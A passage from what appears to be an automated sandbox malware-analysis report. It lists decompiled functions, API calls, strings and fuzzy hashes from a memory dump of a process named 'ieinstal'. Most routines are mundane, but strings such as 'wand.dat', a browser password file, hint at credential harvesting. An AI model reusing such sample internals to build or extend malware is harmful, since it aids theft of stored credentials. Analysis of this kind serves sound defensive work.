				 *(__esi + 0x410) = _t10;
				_t11 = SendDlgItemMessageW( *(__esi + 0x10), 0x3ec, 0x30, _t10, 0);
				if( *0x45d7f8 != 0) {
					return SendDlgItemMessageW( *(__esi + 0x10), 0x3ee, 0x30,  *(__esi + 0x410), 0);
				}
				return _t11;
			}






                                                                                                                            0x0040114a
                                                                                                                            0x00401156
                                                                                                                            0x0040116f
                                                                                                                            0x00401175
                                                                                                                            0x0040117f
                                                                                                                            0x00000000
                                                                                                                            0x00401193
                                                                                                                            0x00401197

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00409BFD: memset.MSVCRT ref: 00409C07
                                                                                                                              • Part of subcall function 00409BFD: wcscpy.MSVCRT ref: 00409C47
                                                                                                                            • CreateFontIndirectW.GDI32(?), ref: 00401156
                                                                                                                            • SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 00401175
                                                                                                                            • SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 00401193
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                                                                                                                            • String ID: MS Sans Serif
                                                                                                                            • API String ID: 210187428-168460110
                                                                                                                            • Opcode ID: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                                                            • Instruction ID: 44e142790c58e2983bb51e892a2c7280827b5342727586ee11fe1c2be2fb852b
                                                                                                                            • Opcode Fuzzy Hash: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                                                                                                                            • Instruction Fuzzy Hash: 7CF082B5A4030877EB326BA1DC46F9A77BDBB44B01F040935F721B91D1D3F4A585C658
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00409D7F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 40%
                                                                                                                            			E00409D7F(struct HWND__* _a4) {
				void _v514;
				short _v516;
				signed int _t11;

				_v516 = _v516 & 0x00000000;
				memset( &_v514, 0, 0x1fe);
				GetClassNameW(_a4,  &_v516, 0xff);
				_t11 =  &_v516;
				0x44662e(_t11, "edit");
				asm("sbb eax, eax");
				return  ~_t11 + 1;
			}






                                                                                                                            0x00409d88
                                                                                                                            0x00409d9e
                                                                                                                            0x00409db5
                                                                                                                            0x00409dbb
                                                                                                                            0x00409dc7
                                                                                                                            0x00409dcf
                                                                                                                            0x00409dd4

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ClassName_wcsicmpmemset
                                                                                                                            • String ID: edit
                                                                                                                            • API String ID: 2747424523-2167791130
                                                                                                                            • Opcode ID: 966ba6659df31be0b994ff47204b898d343df69b3f9d85cbf29a1f53eef5b26a
                                                                                                                            • Instruction ID: aa36152fd255268de381ae2120198bffa1fffac517830ea88c39a2b7b5867ff0
                                                                                                                            • Opcode Fuzzy Hash: 966ba6659df31be0b994ff47204b898d343df69b3f9d85cbf29a1f53eef5b26a
                                                                                                                            • Instruction Fuzzy Hash: 86E0D872D8031E6AFB10EBA0DC4AFA977BCFB01708F0001B6B915E10C2EBB496494A45
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00414E13 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 37%
                                                                                                                            			E00414E13(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;
				void* _t7;
				struct HINSTANCE__* _t8;
				intOrPtr* _t9;

				_t7 = 0;
				_t8 = E0040A804("shlwapi.dll");
				 *_t9 = 0x454304;
				_t3 = GetProcAddress(_t8, ??);
				if(_t3 != 0) {
					_t7 =  *_t3(_a4, 0x10000001);
				}
				FreeLibrary(_t8);
				return _t7;
			}







                                                                                                                            0x00414e1a
                                                                                                                            0x00414e21
                                                                                                                            0x00414e23
                                                                                                                            0x00414e2b
                                                                                                                            0x00414e33
                                                                                                                            0x00414e40
                                                                                                                            0x00414e40
                                                                                                                            0x00414e43
                                                                                                                            0x00414e4d

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 00414E2B
                                                                                                                            • FreeLibrary.KERNEL32(00000000,?,00405751,00000000), ref: 00414E43
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$Load$AddressDirectoryFreeProcSystemmemsetwcscatwcscpy
                                                                                                                            • String ID: SHAutoComplete$shlwapi.dll
                                                                                                                            • API String ID: 3150196962-1506664499
                                                                                                                            • Opcode ID: cdcb965da711456ca4b51fb43941328c5d6cb5423f9048b51d1f1fd4f659d43f
                                                                                                                            • Instruction ID: 56be8aed7d941f739c6f69dc747e21d8edf2639efa9d7e462eda1ee05908af23
                                                                                                                            • Opcode Fuzzy Hash: cdcb965da711456ca4b51fb43941328c5d6cb5423f9048b51d1f1fd4f659d43f
                                                                                                                            • Instruction Fuzzy Hash: C1D0C2353002315BD6616B27AC04AAF2A99EFC13A1B054035F928D2210DBA84996827D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041D893 Relevance: 6.3, APIs: 5, Instructions: 82COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memcmp
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3384217055-0
                                                                                                                            • Opcode ID: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                                                                                                                            • Instruction ID: f5df6941464580ef2fdae31f27b7f31021858bb2d0e37ec30fcb1df3a02010a9
                                                                                                                            • Opcode Fuzzy Hash: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                                                                                                                            • Instruction Fuzzy Hash: 8821B2B2E10249ABDB14EA91DC46EDF73FC9B44704F01442AF512D7181EB28E644C725
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00412A2A Relevance: 6.3, APIs: 5, Instructions: 50COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$memcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 368790112-0
                                                                                                                            • Opcode ID: 97945d52b79a003f2428fc236831fd74eb0a020fff419a73dba27ff1a1f4f0ec
                                                                                                                            • Instruction ID: abb90bdd0bd5c960a46cc99acd1c91865272cbbdb433919b32c204757dd19146
                                                                                                                            • Opcode Fuzzy Hash: 97945d52b79a003f2428fc236831fd74eb0a020fff419a73dba27ff1a1f4f0ec
                                                                                                                            • Instruction Fuzzy Hash: 0201FCB5740B007BF235AB35CC03F9A73A8AF52724F004A1EF153966C2DBF8A554819D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410D9B Relevance: 6.2, APIs: 4, Instructions: 169windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004019D8: GetMenu.USER32(?), ref: 004019F6
                                                                                                                              • Part of subcall function 004019D8: GetSubMenu.USER32(00000000), ref: 004019FD
                                                                                                                              • Part of subcall function 004019D8: EnableMenuItem.USER32(?,?,00000000), ref: 00401A15
                                                                                                                              • Part of subcall function 00401A1F: SendMessageW.USER32(?,00000412,?,00000000), ref: 00401A36
                                                                                                                              • Part of subcall function 00401A1F: SendMessageW.USER32(?,00000411,?,?), ref: 00401A5A
                                                                                                                            • GetMenu.USER32(?), ref: 00410F8D
                                                                                                                            • GetSubMenu.USER32(00000000), ref: 00410F9A
                                                                                                                            • GetSubMenu.USER32(00000000), ref: 00410F9D
                                                                                                                            • CheckMenuRadioItem.USER32(00000000,0000B284,0000B287,?,00000000), ref: 00410FA9
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Menu$ItemMessageSend$CheckEnableRadio
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1889144086-0
                                                                                                                            • Opcode ID: 48c6688bed2e9d799b6f1c845f6ed1ed25569c1cc633281ca29a779208fa5c2f
                                                                                                                            • Instruction ID: be5000c07a60ff25a23af51018491178d5f127676f18bd69b4cc56e9e4830f27
                                                                                                                            • Opcode Fuzzy Hash: 48c6688bed2e9d799b6f1c845f6ed1ed25569c1cc633281ca29a779208fa5c2f
                                                                                                                            • Instruction Fuzzy Hash: D5517171B40704BFEB20AB66CD4AF9FBAB9EB44704F00046EB249B72E2C6756D50DB54
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00417FD5 Relevance: 6.1, APIs: 4, Instructions: 138fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileMappingW.KERNEL32(?,00000000,00000004,00000000,?,00000000), ref: 004180B8
                                                                                                                            • MapViewOfFile.KERNEL32(00000000,00000006,00000000,?,?), ref: 004180E3
                                                                                                                            • GetLastError.KERNEL32 ref: 0041810A
                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00418120
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$CloseCreateErrorHandleLastMappingView
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1661045500-0
                                                                                                                            • Opcode ID: eb48187120a9c185743a1b3c178acae082383636f0c481d7e40b999055df197a
                                                                                                                            • Instruction ID: 5cb71d9443798353a032a6b226e7c46d85178154149a60e532078a3cdb21b7c8
                                                                                                                            • Opcode Fuzzy Hash: eb48187120a9c185743a1b3c178acae082383636f0c481d7e40b999055df197a
                                                                                                                            • Instruction Fuzzy Hash: 64518A71204706DFDB24CF25C984AA7BBE5FF88344F10492EF84287691EB74E895CB99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0042EB92 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 133COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00415A91: memset.MSVCRT ref: 00415AAB
                                                                                                                            • memcpy.MSVCRT ref: 0042EC7A
                                                                                                                            Strings
                                                                                                                            • sqlite_altertab_%s, xrefs: 0042EC4C
                                                                                                                            • virtual tables may not be altered, xrefs: 0042EBD2
                                                                                                                            • Cannot add a column to a view, xrefs: 0042EBE8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpymemset
                                                                                                                            • String ID: Cannot add a column to a view$sqlite_altertab_%s$virtual tables may not be altered
                                                                                                                            • API String ID: 1297977491-2063813899
                                                                                                                            • Opcode ID: 474643fef30daba4970a7dc8f748fcc45b15c3e498b07267a37eb72da69de8bb
                                                                                                                            • Instruction ID: f910cd7a27c7e389b2617bf4251edf561ae6288f62f29054cc1fb9bea0934792
                                                                                                                            • Opcode Fuzzy Hash: 474643fef30daba4970a7dc8f748fcc45b15c3e498b07267a37eb72da69de8bb
                                                                                                                            • Instruction Fuzzy Hash: 1E418E75A00615EFCB04DF5AD881A99BBF0FF48314F65816BE808DB352D778E950CB88
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004055C5 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040560C
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                                                                                                                              • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                                                                                                                              • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                                                                                                                              • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                                                                                                                              • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                                                                                                                              • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                                                                                                                              • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                                                                                                                              • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                                                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                                                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4D2
                                                                                                                              • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                                                                                                                              • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4F3
                                                                                                                              • Part of subcall function 0040A212: wcscpy.MSVCRT ref: 0040A269
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                                                                                                                            • String ID: *.*$dat$wand.dat
                                                                                                                            • API String ID: 2618321458-1828844352
                                                                                                                            • Opcode ID: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                                                                                                                            • Instruction ID: e27ea46a2f82f1f177a07810d763c9ecc86b2647b265d762bc330c580f82b585
                                                                                                                            • Opcode Fuzzy Hash: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                                                                                                                            • Instruction Fuzzy Hash: BF419B71600205AFDB10AF65DC85EAEB7B9FF40314F10802BF909AB1D1EF7999958F89
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00410C46 Relevance: 6.1, APIs: 4, Instructions: 106COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT ref: 0040ECF9
                                                                                                                              • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT ref: 0040EDC0
                                                                                                                            • wcslen.MSVCRT ref: 00410C74
                                                                                                                            • _wtoi.MSVCRT ref: 00410C80
                                                                                                                            • _wcsicmp.MSVCRT ref: 00410CCE
                                                                                                                            • _wcsicmp.MSVCRT ref: 00410CDF
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmp$??2@??3@_wtoiwcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1549203181-0
                                                                                                                            • Opcode ID: a5a55a776a9d7000c7a90f9dc0003ee3df1153e447b70ecb3cda70254c63b6c3
                                                                                                                            • Instruction ID: d767fa7272777d82bc727b9b5621bf7cb5fcf48a3d465f11467ce1d5a1151d11
                                                                                                                            • Opcode Fuzzy Hash: a5a55a776a9d7000c7a90f9dc0003ee3df1153e447b70ecb3cda70254c63b6c3
                                                                                                                            • Instruction Fuzzy Hash: 5E4190359006089FCF21DFA9D480AD9BBB4EF48318F1105AAEC05DB316D6B4EAC08B99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00412018 Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00412057
                                                                                                                              • Part of subcall function 0040A116: ShellExecuteW.SHELL32(?,open,?,0044E518,0044E518,00000005), ref: 0040A12C
                                                                                                                            • SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004120C7
                                                                                                                            • GetMenuStringW.USER32(?,00000103,?,0000004F,00000000), ref: 004120E1
                                                                                                                            • GetKeyState.USER32(00000010), ref: 0041210D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ExecuteMenuMessageSendShellStateStringmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3550944819-0
                                                                                                                            • Opcode ID: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                                                            • Instruction ID: 97bad96470fefb965444fbd8e179d7ef3b872eae7f66eff2ef5a186de824ffeb
                                                                                                                            • Opcode Fuzzy Hash: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                                                                                                                            • Instruction Fuzzy Hash: 5341C330600305EBDB209F15CD88B9677A8AB54324F10817AEA699B2E2D7B89DD1CB14
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A8D0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • wcslen.MSVCRT ref: 0040A8E2
                                                                                                                              • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                              • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                                                                                                                              • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                                                                                                                            • memcpy.MSVCRT ref: 0040A94F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$memcpy$mallocwcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3023356884-0
                                                                                                                            • Opcode ID: eb2dac0aa54b8cba7b4ca2ec857782df2eef664205fa6e7b031a1e013bb73dd8
                                                                                                                            • Instruction ID: f32a9ac0308abec2140ef864181b54c8d04bf3279582b466e144db770ea3622c
                                                                                                                            • Opcode Fuzzy Hash: eb2dac0aa54b8cba7b4ca2ec857782df2eef664205fa6e7b031a1e013bb73dd8
                                                                                                                            • Instruction Fuzzy Hash: 64217CB2200704EFC720DF18D88189AB3F9FF453247118A2EF866AB6A1CB35AD15CB55
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B1D1 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • wcslen.MSVCRT ref: 0040B1DE
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040B201
                                                                                                                              • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                              • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                                                                                                                              • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040B224
                                                                                                                            • memcpy.MSVCRT ref: 0040B248
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$memcpy$mallocwcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3023356884-0
                                                                                                                            • Opcode ID: 265e11fb3b93f6842ac601c308daddd794573f9d2d057257d07b24b118d7ea2e
                                                                                                                            • Instruction ID: 71128cbd9221161776fa816c6212d75478d488e0bdd8d9cf72ea7cd81dda7be0
                                                                                                                            • Opcode Fuzzy Hash: 265e11fb3b93f6842ac601c308daddd794573f9d2d057257d07b24b118d7ea2e
                                                                                                                            • Instruction Fuzzy Hash: 02215BB2500604EFD720DF18D881CAAB7F9EF49324B114A6EE452976A1CB35B9158B98
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041298C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy
                                                                                                                            • String ID: @
                                                                                                                            • API String ID: 3510742995-2766056989
                                                                                                                            • Opcode ID: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                                                                                                                            • Instruction ID: b25eae0e74258469ce0af521155fdf6a80f479b4e9ffe9ec94392e3587c9c40c
                                                                                                                            • Opcode Fuzzy Hash: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                                                                                                                            • Instruction Fuzzy Hash: 65115EF2A003057FDB349E15D980C9A77A8EF50394B00062FF90AD6151E7B8DEA5C7D9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040AED2 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@??3@memcpymemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1865533344-0
                                                                                                                            • Opcode ID: 63ad74f41b12567b58218fea097aeaefd91ee3ffeae00ec4d641ec9fdbd265cd
                                                                                                                            • Instruction ID: b60eca7fe842e91d7951f76ed0837c2ba419520120b0ca9395dcc9976308fc09
                                                                                                                            • Opcode Fuzzy Hash: 63ad74f41b12567b58218fea097aeaefd91ee3ffeae00ec4d641ec9fdbd265cd
                                                                                                                            • Instruction Fuzzy Hash: C7118C71204701AFD328DF2DC881A27F7E9EF99300B21892EE49AC7385DA35E811CB55
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B0D1 Relevance: 6.1, APIs: 4, Instructions: 55stringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • strlen.MSVCRT ref: 0040B0D8
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040B0FB
                                                                                                                              • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                                                                                                                              • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                                                                                                                              • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040B12C
                                                                                                                            • memcpy.MSVCRT ref: 0040B159
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$memcpy$mallocstrlen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1171893557-0
                                                                                                                            • Opcode ID: d8b96de248f7d7037f9e30158b7ab90977b72bd63dac2b37973b5005ce90d3f5
                                                                                                                            • Instruction ID: 61abf4b4d63bdfee40e3433ef4540d9b033b11d4199be086b3082c0bee804e2f
                                                                                                                            • Opcode Fuzzy Hash: d8b96de248f7d7037f9e30158b7ab90977b72bd63dac2b37973b5005ce90d3f5
                                                                                                                            • Instruction Fuzzy Hash: CA113A712042019FD711DB98FC499267B66EB8733AB25833BF4045A2A3CBB99834865F
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004144BB Relevance: 6.1, APIs: 4, Instructions: 55COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004144E7
                                                                                                                              • Part of subcall function 0040A353: _snwprintf.MSVCRT ref: 0040A398
                                                                                                                              • Part of subcall function 0040A353: memcpy.MSVCRT ref: 0040A3A8
                                                                                                                            • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00414510
                                                                                                                            • memset.MSVCRT ref: 0041451A
                                                                                                                            • GetPrivateProfileStringW.KERNEL32(?,?,0044E518,?,00002000,?), ref: 0041453C
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1127616056-0
                                                                                                                            • Opcode ID: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                                                                                                                            • Instruction ID: e03fcf36bb778615f94f946172f2cadce4c7e53e7889dedf6030812535802df7
                                                                                                                            • Opcode Fuzzy Hash: 02b9e3d0e0b7074fd9b2be70e01a8c10e85f5fbe64ebb4837650a41ca567b1c2
                                                                                                                            • Instruction Fuzzy Hash: 9A1170B1500119BFEF115F65EC02EDA7B69EF04714F100066FB09B2060E6319A60DB9D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0042FE8B Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 55COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
